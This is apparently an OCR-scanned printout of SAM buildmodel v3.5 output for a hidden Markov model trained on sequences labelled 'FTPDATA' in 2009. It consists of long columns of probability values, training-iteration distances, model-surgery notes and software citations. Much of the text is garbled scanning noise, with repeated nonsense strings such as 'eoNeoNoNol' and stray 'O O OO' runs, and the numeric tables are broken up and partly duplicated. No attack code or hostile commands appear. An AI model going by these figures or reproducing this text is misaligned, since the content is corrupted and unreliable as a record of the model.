eoNeoNoNoNoNoNolNolololNoloNoloNololNololNolNoNolNoNolNolNolNololNololNeololNololNolNo]

.011250
.008949
.028125
.006648
.007926
.018665
.000512
.000256
.000000
.001023
.000000
.000000
.000000
.000000

.002989
.096817
.000002
.000002
.000710
.004816
.024288
.004408
.015047
.010551
.013152
.037625
.000002
.000002
.000002
.000002
.000002
.000002
.000002
.000002
.002989
.096817
.000002
.000002
.000710
.004816
.024288
.004408
.015047
.010551
.013152
.037625
.000002
.000002
.000002
.000002

O O OO OO OOOOOo o oo

eoNeoNoNoNoNoNolNolololNoloNoloNololNolNolNolNoNoNoNolNololNololNololNeololNololNolNo]

.012273
.006137
.027870
.005625
.008949
.012784
.000512
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.006045
.034501
.000771
.000002
.000002
.020898
.006478
.004330
.027102
.006213
.006665
.006544
.001388
.000086
.000002
.000002
.000002
.000002
.000002
.000002
.006045
.034501
.000771
.000002
.000002
.020898
.006478
.004330
.027102
.006213
.006665
.006544
.001388
.000086
.000002
.000002
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.000002
.000002
.000002
.000002
egin

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.218674
.003766
.013100
.001763
.000336
.000538
.007409
.031411
.013854
.006328
.011382
.009553
.003819
.000422
.000134
.000257
.000362
.000152
.000000
.000000

1

.000000
.000000
.014167
.100473
.000024

eNeoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNeoNoNoNeoNoN NeoNoNolNe]

[oNeoNeNoNe]

[ecNeoNoNoNoRolololoNoNoNoNolNoBoloNoNolNoNoNoNololololoNoNoNoNoNoNolololoNoNoNolNolNoll el O O OO

[N eNoN

.000002
.000002
.000002
.000002

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.058450
.000905
.080165
.000366
.000495
.000525
.010830
.014509
.024123
.004589
.001415
.003993
.002152
.000488
.001044
.000150
.000000
.000000
.000000
.000000

.000000
.000000
.002066
.000860
.000014

[eNeoNoNoNoRolololoNoNoNoNolNoBolNoNoNolNoNoNoNoloBolololNoNoNoNoNoNolololoNoNoNolNolNoll el O O OO

[N eNoN

.000002
.000002
.000002
.000002

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.015041
.017861
.033887
.000151
.000310
.000849
.005363
.016014
.057121
.007900
.007284
.008616
.001180
.000000
.000000
.000158
.000000
.000327
.000000
.000000

.000000
.000000
.459198
.000209
.000223

O O OO

locNeoNoNoNoRololoNoNoNoNoNoloRolNoNoNolNoNoNoNolololoNoNoNoNolNololololNoNolNolNoNolNol o]

.000002
.000002
.000002
.000002

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000863
.033067
.002392
.000000
.000136
.002287
.006049
.017098
.075520
.003679
.004639
.009355
.000259
.000133
.000000
.000721
.000000
.000000
.000000
.000000

.000014
.000452

O O OO

locNeoNoNoNoRololoNoNoNoNoNoloholNoNoNoNoNoNoNolololoNoNoNoNolNololololNoNolNolNoNolNolN o]

o O

.000002
.000002
.000002
.000002

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000256
.012439
.003788
.000000
.000318
.007009
.006916
.012151
.070482
.003146
.013664
.013856
.000252
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000004
.000151
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oNoNoNoNoNoNoRolNoholNoNoNoNoloNolNoNohoNoNoNololNoloNoloNolNoloNololNololNolNolNolo]

leoNoNoNoNoNoNolNolololololNolNo]

.000052
.000008
.000002
.000008
.000111
.006191
.023450
.000069
.000147
.131874
.045191
.006157
.000002
.000002
.000002
.000002
.000000
.000000
.218674
.003766
.013100
.001763
.000336
.000538
.007409
.031411
.013854
.006328
.011382
.009553
.003819
.000422
.000134
.000257
.000362
.000152
.000000
.000000

2

.037869
.947963
.057760
.001262
.000013
.000033
.000004
.000298
.003757
.050874
.102313
.000024
.081687
.062398
.000071

oNoNoNoNoNoNoRolohoNoNoNoNolNoNolNolNololNoNoNololNoloNoloNolNoloNololNololNolNolNeolo]

eloNoNoNoNoNoNololololololNolNo]

.000268
.000004
.000002
.000008
.000163
.014482
.016532
.000059
.000016
.054295
.025406
.008957
.002060
.000002
.000000
.000000
.000000
.000000
.058450
.000905
.080165
.000366
.000495
.000525
.010830
.014509
.024123
.004589
.001415
.003993
.002152
.000488
.001044
.000150
.000000
.000000
.000000
.000000

.001867
.996067
.001213
.000434
.000007
.000160
.000006
.000423
.003413
.071704
.014594
.000053
.043867
.010420
.000030

oNoNoNoNoNoNeoRolNohoNoNoNoNolNoNolNolNololNoNoNoloNoloNoloNololeoNololNololNolNolNeolo]

cloNoNoNoNoNoNololololololNolNo]

.000398
.000002
.000004
.000010
.000080
.008490
.061996
.000105
.000122
.091681
.015406
.000000
.000000
.000002
.000000
.000004
.000000
.000000
.015041
.017861
.033887
.000151
.000310
.000849
.005363
.016014
.057121
.007900
.007284
.008616
.001180
.000000
.000000
.000158
.000000
.000327
.000000
.000000

.043843
.496959
.488667
.000103
.000115
.000223
.000001
.000003
.006674
.037023
.001072
.000415
.068604
.001722
.000059

oNoNoNoNoNoNeoRolohoNoNoNoNolNoNolNolNohoNoloNololNoloNoloNolNoNeoNololNololNolNolNeolo]

OO OO OO0 OOoOooo

.000010
.000000
.000002
.000032
.000089
.025059
.000484
.000052
.089267
.114723
.003293
.000002
.000000
.000008
.000000
.000000
.000000
.000000
.000863
.033067
.002392
.000000
.000136
.002287
.006049
.017098
.075520
.003679
.004639
.009355
.000259
.000133
.000000
.000721
.000000
.000000
.000000
.000000

.000007
.000238
.000008
.000000
.000001
.014995
.043827
.000066
.071800
.026519
.000031
.000072

oNoNoNoNoNoNeoRolNohoNoNoNoNolNoNoNolNoholNoloNololNoloNoloNolNoloNolNolNololNolNolNelo]

OO OO OO0 OooOo

.000006
.000000
.000004
.000109
.000114
.014726
.000240
.000044
.072965
.059555
.002972
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000256
.012439
.003788
.000000
.000318
.007009
.006916
.012151
.070482
.003146
.013664
.013856
.000252
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000002
.000083
.001703
.000000
.002108
.043942
.049556
.000037
.137569
.023758
.000045
.000050
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eNeoNohoNoNoNoNoNoNololoBololNoNoNoNolNolNolololNolNolNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNoBololBoNoNoNoNoNolNolololNe]

.000030
.000003
.000845
.001081
.002257
.001295
.000000
.000000
.218674
.003766
.013100
.001763
.000336
.000538
.007409
.031411
.013854
.006328
.011382
.009553
.003819
.000422
.000134
.000257
.000362
.000152
.000000
.000000

3

.451564
.490675
.057546
.001122
.002005
.005011
.004654
.000002
.000004
.000056
.000096
.015670
.000040
.000168
.000072
.000030
.000003
.000001
.000002
.000003
.000001
.000000
.000000
.218674
.003766

eNeoNohoNoNoNoNoNoNoNoloBololNoNoNoNolNolNolololNololNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNololoBoNoNoNoNolNolNololelNe]

.000017
.000003
.000488
.001344
.000000
.000000
.000000
.000000
.058450
.000905
.080165
.000366
.000495
.000525
.010830
.014509
.024123
.004589
.001415
.003993
.002152
.000488
.001044
.000150
.000000
.000000
.000000
.000000

.001177
.997609
.001370
.000437
.005646
.037742
.000002
.000270
.000004
.000082
.000037
.047759
.000030
.000010
.000030
.000017
.000003
.000002
.000001
.000000
.000000
.000000
.000000
.058450
.000905

eNeoNohoNoNoNoNoNoNololoBoloNoNoNoNolNoNolololNololNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNolololoNoNoNoNoNolNololelNe]

.000009
.000000
.000000
.001508
.000000
.003581
.000000
.000000
.015041
.017861
.033887
.000151
.000310
.000849
.005363
.016014
.057121
.007900
.007284
.008616
.001180
.000000
.000000
.000158
.000000
.000327
.000000
.000000

.046278
.465055
.490255
.000105
.146101
.323029
.001355
.002249
.000006
.000040
.001718
.022377
.000056
.004103
.000099
.000009
.000000
.000000
.000001
.000000
.000002
.000000
.000000
.015041
.017861

eNeoNohoNoNoNoNoNoNoNoloBololNoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRoNolNoNoNoNoloNolololNoNoNoNolNololNe]

.000002
.000813
.000000
.006448
.000000
.000000
.000000
.000000
.000863
.033067
.002392
.000000
.000136
.002287
.006049
.017098
.075520
.003679
.004639
.009355
.000259
.000133
.000000
.000721
.000000
.000000
.000000
.000000

.000007
.213051
.000578
.000000
.000856
.000019
.000045
.007218
.038073
.000027
.000031
.000073
.000002
.000001
.000000
.000006
.000000
.000000
.000000
.000000
.000863
.033067

eNeoNohoNoNoNoNoNoNoNoloBololNoNoNoNoNolNolololNolNolNolNolNolNo]

eNeoNoNoloRoNolNoNoNoNoloNolololNoNoNoNolNololNe]

.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000256
.012439
.003788
.000000
.000318
.007009
.006916
.012151
.070482
.003146
.013664
.013856
.000252
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000002
.075476
.000162
.000000
.000002
.000054
.000048
.008794
.030251
.000023
.001495
.001438
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000256
.012439
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oNoNeoNoNeoNoNeoBolohololNolNolNolololNolNo)

eoNeoNoNoNoNoNolololololoNoBolNolololNolNolNolNoNolNolNololololNololNololNolNolNo]

.013100
.001763
.000336
.000538
.007409
.031411
.013854
.006328
.011382
.009553
.003819
.000422
.000134
.000257
.000362
.000152
.000000
.000000

4

.468506
.473948
.055705
.112650
.002256
.024036
.000415
.000088
.000005
.000067
.000112
.000029
.000050
.000077
.000087
.000037
.000004
.000001
.000006
.000009
.000001
.000000
.000000
.218674
.003766
.013100
.001763
.000336
.000538
.007409
.031411
.013854
.006328
.011382
.009553

oNoNeoNoNeoNoNeoBolNoholoNolNolNolololNolNo)

eoNoNoBoNoNoNololoBololoNoBolNolololNolNoNolNoNolNolNololololNololNeololNolNolNo]

.080165
.000366
.000495
.000525
.010830
.014509
.024123
.004589
.001415
.003993
.002152
.000488
.001044
.000150
.000000
.000000
.000000
.000000

.001434
.997197
.002361
.502541
.000009
.179158
.002308
.000002
.000005
.000101
.000040
.000057
.000040
.000016
.000037
.000021
.000004
.000004
.000001
.000000
.000000
.000000
.000000
.058450
.000905
.080165
.000366
.000495
.000525
.010830
.014509
.024123
.004589
.001415
.003993

oNoNeoNoNeoNoNeoBolNohololNolNolNololololNo)

eoNoNoNoNoNoNololololololNoBolNolololNolNoNoloNolNolNololololNololNololNolNolNo]

.033887
.000151
.000310
.000849
.005363
.016014
.057121
.007900
.007284
.008616
.001180
.000000
.000000
.000158
.000000
.000327
.000000
.000000

.046210
.463535
.491596
.159946
.000190
.000322
.000001
.000003
.000009
.000048
.000029
.000130
.000068
.000023
.000072
.000011
.000000
.000000
.000001
.000000
.000003
.000000
.000000
.015041
.017861
.033887
.000151
.000310
.000849
.005363
.016014
.057121
.007900
.007284
.008616

oNoNeoNoNeoNoNeoBolNoholololNolNolololNolNo)

eNoNoNoNoNoNoNolololoNoNoNoolNoBolNololNolNoNoNolNololBolNololNololNello]

.002392
.000000
.000136
.002287
.006049
.017098
.075520
.003679
.004639
.009355
.000259
.000133
.000000
.000721
.000000
.000000
.000000
.000000

.005720
.000366
.004907
.000000
.000001
.000021
.000054
.000050
.000173
.000034
.000038
.000089
.000002
.000001
.000000
.000006
.000000
.000000
.000000
.000000
.000863
.033067
.002392
.000000
.000136
.002287
.006049
.017098
.075520
.003679
.004639
.009355

oNoNeoNoNeoNoNoBolohololNolNolNolololNolNo)

eNoNoNoNoNoNoNololololNoNoNololNoBolNololNoNoNoNolNololBolNololNololNollo]

.003788
.000000
.000318
.007009
.006916
.012151
.070482
.003146
.013664
.013856
.000252
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.001891
.000177
.000868
.000000
.000004
.000065
.000059
.000032
.000173
.000029
.000050
.000061
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000256
.012439
.003788
.000000
.000318
.007009
.006916
.012151
.070482
.003146
.013664
.013856
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.003819
.000422
.000134
.000257
.000362
.000152
.000000
.000000
nd

.000000
.496764
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

cNoNeoNoNoNoNoNoNoNoNoNoNoNoNoNolNoNoNolNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNolvNoNoNoNoNoNeoNe e

ENDMODEL

O O O OO O oo

eNeoBoRoNoNoNoNoNoloNolololoNoNoNoNoloRoloNoNoNoNoNoNoloRololNoNoNoNolololNolololNolNolNolNo)

.002152
.000488
.001044
.000150
.000000
.000000
.000000
.000000

.000000
.861222
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

O O O OO O oo

eNeoBoRoNoNoNoNoNoloNoNoBoloNoNoNoNoloRoloNoNoNoNoNoNoloRoloNoNoNoNolololNolololNolNolNolNo)

.001180
.000000
.000000
.000158
.000000
.000327
.000000
.000000

.000000
.046606
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

O O O OO O oo

cNeoBoRoNoNoNoNoNoloNoloBoloNoNoNoNoNoRololoNoNoNoNoNoNololoNoNoNoNoNolNololololNol

.000259
.000133
.000000
.000721
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

OO O OO O oo

ocNeoBoRoNoNoNoNoNoloNoloBoloNoNoNoNolNoRololoNoNoNoNoNolNololoNoNoNoNoNolNololololNol

.000252
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
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7.4.2. FTP DATA

SAM: buildmodel v3.5 (July 15, 2005) compiled 07/15/05 11:25:30
(c) 1992-2001 Regents of the University of California, Santa Cruz

o o o©

o\

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

o° oo

o\

————————————————— Citations (SAM, SAM-T2K, HMMs) —-——-—————————————————
R. Hughey, A. Krogh, Hidden Markov models for sequence analysis:

Extension and analysis of the basic method, CABIOS 12:95-107, 1996.
K. Karplus, et al., What is the value added by human intervention in protein
structure prediction, Proteins: Stucture, Function, Genetics 45(S5):86--91,
2001.
A. Krogh et al., Hidden Markov models in computational biology:

Applications to protein modeling, JMB 235:1501-1531, Feb 1994.

FTPDATA Host: ubuntu Sat Sep 26 13:16:23 2009

edsheut Dir: /home/edsheut/Escritorio/Muestras 1000

o oo oo

o

o° o° o o° o° o°

o

Internal sequence weighting method 1
Regularizer FIM method train training letter frequencies (1)
Regularizer Insert method train training letter frequencies (1)
Model initial FIM method train training letter frequencies (1)
Model initial insert method train training letter frequencies (1)
Generic, Insert, and FIM tables dynamically reset to

train reset inserts geometric mean of match probabilities (6)
All models generated from regularizer.
Subsequence-submodel (local) (SW = 2)
Simple scores adjusted by +1.5*1ln(seq len) (adjust score = 2)
Track 0 FIMs added (geometric mean of match probabilities (6))

A° 0 o o A° O° A° o° d° o°

o\

% Model lengths: 37 33 32

% Itera- Average

% tion distance

% 1 -12.019 -13.857 -12.757
% 2 9.981 10.497 10.081
% 3 9.693 9.683 9.760
% 4 9.597 9.605 9.616
% 5 9.436 9.522 9.517
% 6 9.440 9.482 9.472
% 7 9.349 9.448 9.497
% 8 9.255 9.497 9.499
% 9 9.218 9.498 9.572
% 10 9.252 9.498 9.582
% 11 9.284 9.498 9.582
% 12 9.340 9.498 9.582
% 13 9.382 9.498 9.582
% 14 9.413 9.498 9.582
% 15 9.427 9.498 9.582
% 16 9.448 9.498 9.582
% 17 9.448 9.498 9.582
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o° o° o o

oe

18
19
20
21
22
23
24
25
26

0 o° O° A A A O° O A O° O° O o°

o\

Total

o° o° oo o°

o\

Model O

Surgery, New mod. length 45
I21{8}

Model modified by surgery

Finished at:

(counting from 0) wins!!

9.220
.060
.998
.029
.050
.069
.064
.049
.055

O O W W W W WO

CPU time: wuser 0: 0:17

trainseed 0

Q

% randseed 0

train FTPDATA.seq

alphabet

def Numbers 101

Ntrain 1000
stopcriterion 0.010000
nsurgery 100
anneal length 10.000000
initial noise 1.000000

mainline

Sw 0O

cutoff 0.300000

Insert method train 1

MODEL --

alphabet

GENERIC

.886984
.819972
.225758
.926673
.003536
.000438
.000029
.000029
.000321
.000000
.000146
.000292

[ecNeoNoNolNololNolloloRNeol i

Final model for run FTPDATA
def Numbers 101

0.254944 0.376488
15.521340 3.764209

0.265967 4.006562

0.000555 0.000555 0.000438 0
0.002426 0.001520 0.000292 0
0.005611 0.013969 0.000088 0
0.000088 0.000058 0.001666 0
0.000029 0.000029 0.000175 O
0.000614 0.000029 0.001374 0
0.000234 0.000234 0.000818 0
0.000234 0.001052 0.000205 0
0.000731 0.000994 0.000000 O

(final length 45)

TRAIN 1000 sequences (average length 34). Distance statistics...
Min:-20.11 (928) Max: -8.20 (432) Ave:-12.32 SampDev: 2.95
MinSDs: -2.64 MaxSDs: 1.40

system 0: 0: O

Sat Sep 26 13:16:41 2009

Parameters from command line and insert files:

(internally generated FIMs removed)

.001111
.001666
.000292
.000029
.000058
.000000
.000146
.000000
.000088
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.001374
.001695
.000175
.001315
.000205
.000029
.000146
.000175
.000292
.000088
.000000
.926673
.003536
.000438
.000029
.000029
.000321
.000000
.000146
.000292
.001374
.001695
.000175
.001315
.000205
.000029
.000146
.000175
.000292
.000088
.000000
LETTCOUNT
.000000
.000000
.000000
.926673
.003536
.000438
.000029
.000029
.000321
.000000
.000146
.000292
.001374
.001695
.000175
.001315
.000205
.000029
.000146
.000175
.000292
.000088

cNoNeoBoNoNoloololololNoBoNolBoNolBolNololNoBololoNeololNololololNolNo)
cNoNeoBoNoNolNoolololololoNolBoNololNoloNolololoNeololNololololNolNe)

eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]
eoNeoNoNoNoNoNolololoNoloNololNololololNolNolNe]

.000000
.000029
.000877
.000058
.000263
.000263
.000029
.000000
.000088
.000000
.000000
.000555
.002426
.005611
.000088
.000029
.000614
.000234
.000234
.000731
.000000
.000029
.000877
.000058
.000263
.000263
.000029
.000000
.000088
.000000
.000000

.000000
.000000
.000000
.000555
.002426
.005611
.000088
.000029
.000614
.000234
.000234
.000731
.000000
.000029
.000877
.000058
.000263
.000263
.000029
.000000
.000088
.000000

ecNoNeoBoNoNolNoolololoNoBoNolBolNolBolNololNolololoNololNololololNolNo)

[eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]

.001023
.001753
.000000
.000263
.000000
.001695
.002572
.000117
.013852
.000000
.000000
.000555
.001520
.013969
.000058
.000029
.000029
.000234
.001052
.000994
.001023
.001753
.000000
.000263
.000000
.001695
.002572
.000117
.013852
.000000
.000000

.000000
.000000
.000000
.000555
.001520
.013969
.000058
.000029
.000029
.000234
.001052
.000994
.001023
.001753
.000000
.000263
.000000
.001695
.002572
.000117
.013852
.000000

ecNoNeoBoNoNololololoNoNolBoNolBolNololNoloNololololNeololNololololNolNe)

ecloNoNoNoNoNoNololololoNolNololNolololNo)

.000000
.000000
.000175
.000117
.000000
.000000
.000029
.000058
.000438
.000000
.000000
.000438
.000292
.000088
.001666
.000175
.001374
.000818
.000205
.000000
.000000
.000000
.000175
.000117
.000000
.000000
.000029
.000058
.000438
.000000
.000000

.000438
.000292
.000088
.001666
.000175
.001374
.000818
.000205
.000000
.000000
.000000
.000175
.000117
.000000
.000000
.000029
.000058
.000438
.000000

cNoNeoBoNoNoNoNololoNoNoloNololNololNololNolololoNeololNololololNolNe)

eoloNoNoNoNoNoNolololololNolNololNololNoeolNo)

.000000
.000029
.000029
.001578
.000175
.000058
.000029
.000029
.000000
.000000
.000000
.001111
.001666
.000292
.000029
.000058
.000000
.000146
.000000
.000088
.000000
.000029
.000029
.001578
.000175
.000058
.000029
.000029
.000000
.000000
.000000

.001111
.001666
.000292
.000029
.000058
.000000
.000146
.000000
.000088
.000000
.000029
.000029
.001578
.000175
.000058
.000029
.000029
.000000
.000000
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.000000
.926673
.003536
.000438
.000029
.000029
.000321
.000000
.000146
.000292
.001374
.001695
.000175
.001315
.000205
.000029
.000146
.000175
.000292
.000088
.000000
FREQAVE

.000000
.000000
.000000
.905868
.003042
.000298
.000030
.000016
.000221
.000000
.000134
.000186
.001289
.001455
.000160
.000827
.000130
.000022
.000162
.000166
.000497
.000138
.000000
.905868
.003042
.000298
.000030
.000016
.000221
.000000
.000134
.000186

ecNeoNoholBololoNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNoloNoNoNoNoNoBohololNoNoNoNoNolololNolNololNolNoNolNolNolNo]

ecNeoNoholololoNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNolNoNoNoNoNoNolololoNoNoNoNoNolololNololoNolNoNolNolNolNe]

.000000
.000555
.002426
.005611
.000088
.000029
.000614
.000234
.000234
.000731
.000000
.000029
.000877
.000058
.000263
.000263
.000029
.000000
.000088
.000000
.000000

.000000
.000000
.000000
.000347
.001700
.002928
.000078
.000020
.000319
.000151
.000152
.000560
.000000
.000026
.000635
.000031
.000176
.000161
.000018
.000000
.000099
.000000
.000000
.000347
.001700
.002928
.000078
.000020
.000319
.000151
.000152
.000560

cNeoNolololNoloNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNolNoNoNoNoNoNoBolololNoNoNoNoNolololNolNoloNolNoNolNolNolNe]

.000000
.000555
.001520
.013969
.000058
.000029
.000029
.000234
.001052
.000994
.001023
.001753
.000000
.000263
.000000
.001695
.002572
.000117
.013852
.000000
.000000

.000000
.000000
.000000
.000334
.001180
.034461
.000087
.000028
.000038
.000145
.000805
.000791
.000921
.001497
.000000
.000321
.000000
.001232
.003158
.000140
.023713
.000000
.000000
.000334
.001180
.034461
.000087
.000028
.000038
.000145
.000805
.000791

cNeoNoholololoNoNoNoNoNoNololNoNololNolNolNolNo]

oNeoNoNoloRolNoNoNoNoNoNohololoNoNoNoNoNololololNolNolNolNolNolNo]

.000000
.000438
.000292
.000088
.001666
.000175
.001374
.000818
.000205
.000000
.000000
.000000
.000175
.000117
.000000
.000000
.000029
.000058
.000438
.000000
.000000

.000292
.000200
.000106
.001158
.000143
.001006
.000626
.000151
.000000
.000000
.000000
.000169
.000062
.000000
.000000
.000016
.000057
.000856
.000000
.000000
.000292
.000200
.000106
.001158
.000143
.001006
.000626
.000151
.000000

ecNeoNoholololoNoNoNoNoNoNololNoNololNolNolNolNo]

oNeoNoNoloRolNoNoNoNoNoloholoRolNoNoNoNoNololNololNolNolNolNolNolNo]

.000000
.001111
.001666
.000292
.000029
.000058
.000000
.000146
.000000
.000088
.000000
.000029
.000029
.001578
.000175
.000058
.000029
.000029
.000000
.000000
.000000

.001036
.001211
.000513
.000015
.000040
.000000
.000069
.000000
.000091
.000000
.000013
.000016
.001026
.000151
.000038
.000015
.000030
.000000
.000000
.000000
.001036
.001211
.000513
.000015
.000040
.000000
.000069
.000000
.000091
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.001289
.001455
.000160
.000827
.000130
.000022
.000162
.000166
.000497
.000138
.000000
egin

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001

cNoNoNeoNoNoNoNoNoNoNeoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNeoNoNoNoNoNoNoNoNeoNoN/eNolNoNoNeoNoNoNoNeNeNe)

O O OO OO OO ooOo

eoNoNoNoNoNoNololololNololNololNololNolNoloNoNoNolNolNoBolNoNoNololNololNoloNolNolNolNolNol ol

.000000
.000026
.000635
.000031
.000176
.000161
.000018
.000000
.000099
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000

O O OO OO OO ooOo

[coNoNoNoNoNoNoloololNololNoBolNololNolNoloNolNoNoNoloBolNoNoNololNololNoloNolNolNolNolNol ool

.000921
.001497
.000000
.000321
.000000
.001232
.003158
.000140
.023713
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000

O O OO OO OO o oo

[eNoNoNoBoNoNeoNololoBoNolBolNoBoNololNololNoloNolNoNoNoNoNoloNoloNololNololololNelNolNe]

.000000
.000000
.000169
.000062
.000000
.000000
.000016
.000057
.000856
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000

O O OO OO OO ooOo

[eNoNeoNoNoNoNeoNololoBoNololNoBoNololNololoBoNoNoNolNoNoNololNoloNololNololNololNeolNolNe]

.000000
.000013
.000016
.001026
.000151
.000038
.000015
.000030
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
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(@)

[eNeoNoNoloBoloNoNoNoNoNoRololoNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNololololelNolNo)

OO OO OO oo

.000000

1

.000000
.000000
.007486
.996665
.000066
.000008
.000001
.000001
.000006
.000000
.000003
.000006
.000026
.000032
.000003
.000025
.000004
.000001
.000003
.000003
.001958
.000002
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

2

.036082
.956432
.057214
.009400
.000023
.000003
.000000
.000000

(@)

[eNeoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNolololNoNoNoNoNoloholololoNoNoNolNolNololNoloReo R il

OO OO OO oo

.000000

.000000
.000000
.003895
.000010
.000045
.000105
.000002
.000001
.000012
.000004
.000004
.000014
.000000
.000001
.000017
.000001
.000005
.000005
.000001
.000000
.000002
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.003803
.992302
.010846
.000004
.000016
.000036
.000001
.001345

(@)

[eNeoNoNoloBoloNoNoNoNolNoBolololNoNoNoNoNolololoNoNoNoNoloholololoNoNoNolNolNololNoloReo R il

OO OO OO oo

.000000

.000000
.000000
.481316
.000010
.000029
.000262
.000001
.000001
.000001
.000004
.000020
.000019
.000019
.000033
.000000
.000005
.000000
.000032
.000049
.000002
.000262
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.045356
.473328
.512129
.000004
.000010
.000100
.005926
.001907

lcNoNoNoloBoloNoNoNoNoNoBololoNoNoNoNoNolNolololNoNoNoNolNoNolololoNoNoNoNolNololole)

[oNeoNeNoNe]

.000000

.000008
.000005
.000002
.000031
.000003
.000026
.000015
.000004
.000000
.000000
.000000
.000003
.000002
.000000
.000000
.000001
.000001
.000008
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
